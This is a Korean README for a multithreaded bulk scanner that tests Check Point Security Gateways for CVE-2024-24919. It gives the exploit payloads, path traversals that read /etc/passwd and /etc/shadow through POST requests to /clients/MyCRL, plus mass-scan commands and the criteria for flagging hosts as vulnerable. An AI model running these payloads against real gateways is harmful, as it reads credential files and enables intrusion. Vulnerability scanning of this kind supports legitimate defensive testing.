
CVE-2024-24919 [Check Point Security Gateway 정보 유출]
CVE-2024-24919 [Check Point Security Gateway 정보 노출]
이 스크립트는 다음에 기반하며, 크레딧은 다음으로 갑니다: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
이 Python 스크립트는 URL 목록을 스캔하여 CVE-2024-24919 취약점을 찾기 위해 특정 POST 요청을 보내고 응답 헤더와 상태 코드를 확인합니다. 요청 및 응답 세부 정보를 기록하고 사전 정의된 기준에 따라 취약한 URL을 식별합니다.

[!WARNING] 기업 환경에서의 교육 및 테스트 목적으로만 사용하세요. https://x.com/__nav1n_/ https://github.com/ifconfig-me 는 코드에 대한 책임을 지지 않으며, 사용자는 자신의 책임 하에 사용하세요. 허가 없이 대상에 공격하지 마세요.
[!NOTE] 스레딩: 새로운 v2 버전은 이제 스레딩에서 작동합니다. 스크립트는 50개의 스레드를 생성하여 URL을 동시에 처리하며, 이 스레딩은
-t 100으로 제어할 수 있습니다. 큐: 큐를 사용하여 URL을 관리하고 작업자 스레드에 분배합니다. 진행 및 결과: 스크립트는 색상이 있는 출력으로 진행 상황과 결과를 출력합니다.
requests 라이브러리termcolor 라이브러리저장소를 클론합니다:
git clone https://github.com/ifconfig-me/CVE-2024-24919-Bulk-Scanner.git
cd CVE-2024-24919-Bulk-Scanner
필수 라이브러리를 설치합니다:
pip install requests termcolor
URL 목록이 포함된 파일을 준비합니다:
텍스트 파일(예: urls.txt)을 만들고 각 줄에 하나의 URL을 입력합니다. 각 URL은 https://로 시작해야 합니다. 예시:
https://example.com
https://testsite.com
https://vulnerable.com
https://123.456.789.10:8080
스크립트를 실행합니다:
python CVE-2024-24919-auto-v2.py -t 150 -f urls.txt
출력을 확인합니다:
스크립트가 터미널에 스캔 진행 상황과 결과를 출력합니다. 취약한 URL은 Vulnerable URL found: 메시지로 식별됩니다.
결과:
request-analyze.txt 및 request-analyze-v2.txt(v2 버전)에 저장됩니다.checkpoint-results.txt 및 checkpoint-results-v2.txt(v2 버전)에 저장됩니다.스크립트는 각 URL의 /clients/MyCRL 엔드포인트로 두 가지 페이로드와 함께 POST 요청을 보냅니다:
aCSHELL/../../../../../../../etc/passwdaCSHELL/../../../../../../../etc/shadow다음 기준에 대해 응답 헤더를 확인합니다:
Server: Check Point SVN foundationX-UA-Compatible: IE=EmulateIE7X-Frame-Options: SAMEORIGINHTTP/1.0 200 OK응답이 위 기준 중 세 가지와 일치하면 해당 URL은 취약한 것으로 간주됩니다.
